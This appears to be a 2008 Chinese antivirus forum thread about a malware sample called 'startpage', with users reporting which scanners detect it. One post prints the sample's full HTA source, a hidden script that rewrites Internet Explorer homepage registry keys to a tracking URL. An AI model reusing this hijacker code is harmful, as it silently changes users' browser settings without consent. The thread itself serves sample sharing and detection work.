startpage

显示全部楼层 · 发表于 2008-10-4 14:22:13

to kl

显示全部楼层 · 发表于 2008-10-4 14:23:33

紅傘未報
已回報

显示全部楼层 · 发表于 2008-10-4 14:32:58

这个咖啡又给漏掉了

显示全部楼层 · 发表于 2008-10-4 14:56:50

<head>

<hta:application id=as applicationName=abcdefg showInTaskBar=no caption=no innerBorder=no selection=no scroll=no contextmenu=no maximizeButton=no minimizeButton=no navigable=no border=0 windowState=minimize /></head>

<object id=wsh classid=clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B></object>

<script>window.moveTo(5000,5000);window.resizeTo(1,1);

as.windowState='normal';

HomePageUrl='http://1autocity.com/index.php?code=gA5yI4esc6';

wsh.RegWrite('HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page', HomePageUrl);

wsh.RegWrite('HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL', HomePageUrl);

wsh.RegWrite('HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page', HomePageUrl);

wsh.RegWrite('HKLM\\Software\\Microsoft\\Internet Explorer\\Main\\Default_Page_URL', HomePageUrl);

self.close()

</script>

显示全部楼层 · 发表于 2008-10-4 15:44:52

没报……敢情是修改IE的？？

显示全部楼层 · 发表于 2008-10-4 15:57:54

nis2009 miss

显示全部楼层 · 发表于 2008-10-4 16:07:00

startpage.htad - Trojan.HTA.StartPage.j

New malicious software was found in this file. It's detection will be included in the next update. Thank you for your help.

Please quote all when answering.

显示全部楼层 · 发表于 2008-10-4 21:41:00

RS20.64.50未杀！

显示全部楼层 · 发表于 2008-10-4 22:11:01

无法返回请求的网页

试图访问的网页：

http://bbs.kafan.cn/attachment.php?aid=
370732&k=a4f6483f297e4c1bf30032786532ca5
1&t=1223129425

发生下列错误：

请求的对象被感染，发现下列病毒 Trojan.HTA.StartPage.j

如有疑问，请联系您的技术支持
创建日期：
Sat Oct 04 22:10:37 2008
Kaspersky Lab

[病毒样本] startpage

本帖子中包含更多资源

2/0